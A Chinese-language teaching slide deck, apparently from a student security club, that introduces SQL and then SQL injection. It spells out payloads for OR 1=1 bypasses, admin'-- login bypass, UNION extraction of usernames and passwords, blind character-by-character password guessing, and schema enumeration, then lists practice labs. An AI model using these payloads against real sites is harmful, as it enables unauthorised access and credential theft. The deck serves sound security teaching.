Cybersecurity[3]
SQL
Claire
- 北資一六社長 x 網管
- 競程是舊愛 而且我很爛
- 新歡大概是資安
- 但我都只打水題
樹枝爆肝仔
Who am I

1
SQL
2
SQLi
Index
SQL
SQL
- Structured Query Language
- 管理和操作關聯式資料庫的標準語言
- 關聯式資料庫:以表格儲存資料
-
資料庫 (Database) 本身由下列結構組成:
- 資料庫 (database)
- 資料表 (table)
- 欄位 (column)
- 資料 (data)
SELECT
-
SELECT與FROM是從指定的資料表中選擇欄位查詢-
SELECT *:選擇資料表的「所有」欄位 -
SELECT column_name:選擇資料表的「指定」欄位 - 指定多個欄位:用逗號將欄位名隔開
-
SELECT column_name AS new_name:選擇欄位並改名 - 後加
WHERE condition:布林比較- =:相等
-
AND:兩個條件皆為真才為真 -
OR:兩個條件皆為假才為假 NOT:將條件的比較結果真假互換-
BETWEEN a AND b:數據大小在 a 和 b 間
- 後加
ORDER BY:指定變數來排序 - 兩個
SELECT間加UNION可連結
-
SELECT
SELECT class_number AS c_no
FROM students
WHERE class_number NOT BETWEEN 3 AND 5
ORDER BY c_no SELECT 選取
FROM 來源
WHERE 條件
GROUP BY 分組
HAVING 條件
ORDER BY 順序
LIMIT 筆數限制
- URL 編碼/百分號編碼
- 將 URL 中包含的特殊字符(空格、&、?)和非 ASCII 字符(中文)轉換成瀏覽器和伺服器能安全傳輸、理解的格式
- WHY?
- URL 只能用 ASCII
- 某些字符(如?, /, &)在 URL 中有特殊含義
- 直接使用會造成歧義或錯誤
SQL Injection
查詢隱藏資料
- 假設一個網站用 https://shop.com/products?p_type=food 查商品類別為 food 的商品
-
後端收到參數
p_type後,會執行:-
p_type = 'food':查詢 food 類別的商品 -
released = 1:已發布商品
-
SELECT * FROM products
WHERE p_type = 'food' AND released = 1想看到還沒發佈的商品?
查詢隱藏資料
SELECT * FROM products
WHERE p_type = 'food'+OR+1=1--' AND released = 1-
註解掉
AND後面的條件-
+在網址中是空白(%20)的意思
-
- https://shop.com/products?p_type=food'+OR+1=1--
-
OR 1=1:永遠為真
影響應用程式邏輯
- 假設一個網站有登入系統
username: input1
password: input2
- 提交帳號密碼後執行
- 用某種神秘方法發現管理員帳號是 admin
SELECT * FROM users
WHERE username = input1 AND password = input2欸欸我也想當管理員
影響應用程式邏輯
SELECT * FROM users
WHERE username = 'admin'--' AND password = - 把密碼註解掉就好了啊
username: admin'--
password:
- 提交後後端執行
-
--之後的內容被註解掉 - 跳過密碼檢查,也就繞過登入
UNION 攻擊
- 前面說過
UNION可以執行多個額外的SELECT-
每個查詢要回傳相同數量的資料 - 資料型態在查詢之間要符合
-
- 假設剛剛的購物網站有一個頁面可以顯示商品的敘述
- 可以輸入你想要的商品種類
- 也有登入功能,但無法直接注入
如何透過這個操作就能得到帳密資料?
SELECT p_name, p_description FROM products
WHERE p_type = 'food' UNION 攻擊
- 用
UNION進行第二個SELECT操作 - 透過注入在後方加入
food' UNION SELECT username, password FROM users --
- 欄數要相同、對應的欄位形態要一樣或可被轉換
SELECT p_name, p_description FROM products
WHERE p_type = 'food' UNION SELECT username, password FROM users --' 確定需要多少欄位
SELECT * FROM products
WHERE p_type = 'food' ORDER BY 1--' AND released = 1- 利用
ORDER BY測試(用第 n 個欄位排序)ORDER BY 1--ORDER BY 2--ORDER BY 3--- 直到出現錯誤,可推測有幾個欄位
確定需要多少欄位
SELECT * FROM products
WHERE p_type = 'food'
UNION SELECT NULL--' AND released = 1
- 利用
UNION SELECT NULL測試(UNION欄位數需相同)' UNION SELECT NULL--' UNION SELECT NULL,NULL--' UNION SELECT NULL,NULL,NULL--- 直到沒有錯誤,
NULL的個數就是欄位數
- 為什麼用
NULL-
NULL可被轉換成大部分型態 -
避免型態不相容錯誤
-
是
UNION測試的標準寫法
-
確認欄位型態
SELECT * FROM products
WHERE p_type = 'food' UNION SELECT 'a', NULL, NULL, NULL--' and released = 1- 發現有四個欄位後,便可逐一測試哪個欄位能放字串:
- 該欄位不能被轉成字串會噴錯,由此判斷該欄位型態
盲 SQL 注入
- 有 SQLi 但網頁或回應不直接顯示錯誤或回傳查詢結果
-
無法使用先前類似
UNION的方法直接取得想要的資料 - 先測試回應
-
假設伺服器會透過 Cookie 參數
TrackingId檢查該使用者是否已存在資料庫TrackedUsers中 -
TrackingId = x' UNION SELECT 'a' WHERE 1=1---
1=1回傳true,畫面就顯示「Welcome back」
-
-
TrackingId = x' UNION SELECT 'a' WHERE 1=2---
1=2回傳false,畫面不顯示「Welcome back」
-
-
假設伺服器會透過 Cookie 參數
- 測試是否有使用者
admin
TrackingId = x' UNION SELECT 'a' FROM users WHERE username='admin'--
盲 SQL 注入
- 可使用二分搜尋的概念,一個字元一個字元地猜測密碼
TrackingId = x' UNION SELECT 'a'
FROM Users
WHERE Username = 'admin'
AND LENGTH(Password) > 10 --
-
確認密碼長度後開始猜密碼
-
SUBSTRING(Password,1,1):從 Password 欄位第 1 個字元開始取 1 個字元 -
ASCII < 'm' 就會噴錯
-
繼續猜
TrackingId = x' UNION SELECT 'a'
FROM Users
WHERE Username = 'admin'
AND SUBSTRING(Password, 1, 1) > 'm' --
TrackingId = x' UNION SELECT 'a'
FROM Users
WHERE Username = 'admin'
AND SUBSTRING(Password, 2, 1) > 'm' --
確認資料庫類型
- 常見:Microsoft SQL Server、MySQL、Oracle、PostgreSQL
- 查詢版本資訊的方式不同

DUAL
- 系統預設的一張「虛擬表」
-
用來在沒有實際資料表時執行
SELECT -
Oracle 的
SELECT一定要有FROM
-
MySQL:可以用
FROM DUAL,但不是必要 -
MSSQL:不使用
FROM DUAL
SELECT 'test' FROM DUAL列出資料庫的內容
MySQL / MSSQL
-
information_schema保存資料庫、資料表、欄位等: -
information_schema.schemata-
schema_name:資料庫名稱
-
-
information_schema.tables-
table_name:資料表名稱 - 關聯欄位
table_schema:對應資料庫名稱
-
-
information_schema.columns-
column_name:欄位名稱 - 關聯
table_name:對應資料表
-
列出資料庫的內容
-- 取得所有資料庫清單
SELECT schema_name
FROM information_schema.schemata;
-- 在知道資料庫名稱後,查找該資料庫中的所有資料表
SELECT table_name
FROM information_schema.tables
WHERE table_schema='資料庫名稱';
-- 在知道資料表後,查找該資料表中的所有欄位
SELECT column_name
FROM information_schema.columns
WHERE table_name='資料表名稱';
-- 最後再真正撈取該表的所有資料
SELECT 欄位名稱
FROM 資料庫名稱.資料表名稱;
MySQL / MSSQL
列出資料庫的內容
SELECT table_name FROM all_tables;
SELECT column_name FROM all_tab_columns WHERE table_name='資料表名稱';
SELECT 欄位名稱 FROM 資料庫名稱.資料表名稱;Oracle
列出資料庫的內容
SELECT * FROM all_tables;
SELECT * FROM all_tab_columns WHERE table_name='資料表名稱';Oracle
SELECT * FROM information_schema.tables;
SELECT * FROM information_schema.columns WHERE table_name='資料表名稱';Microsoft、PostgreSQL、MySQL
資料庫特定注意事項
- 字串連接的方式(
||、+、CONCAT()…) - 不同註解符號(
--、#、/*...*/) - 是否支援批次查詢或多敘述執行
- 平台特定的 API 或函數
- 錯誤訊息格式、是否回傳詳細資訊
Practice
- SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
-
SQL injection vulnerability allowing login bypass
-
SQL injection UNION attack, determining the number of columns returned by the query
-
SQL injection UNION attack, retrieving data from other tables
-
Blind SQL injection with conditional responses
-
SQL injection attack, querying the database type and version on Oracle
-
SQL injection attack, querying the database type and version on MySQL and Microsoft
-
SQL injection attack, listing the database contents on non-Oracle databases
-
SQL injection attack, listing the database contents on Oracle
Thank You!


Cybersecurity[3]
By Claire Pan
Cybersecurity[3]
- 17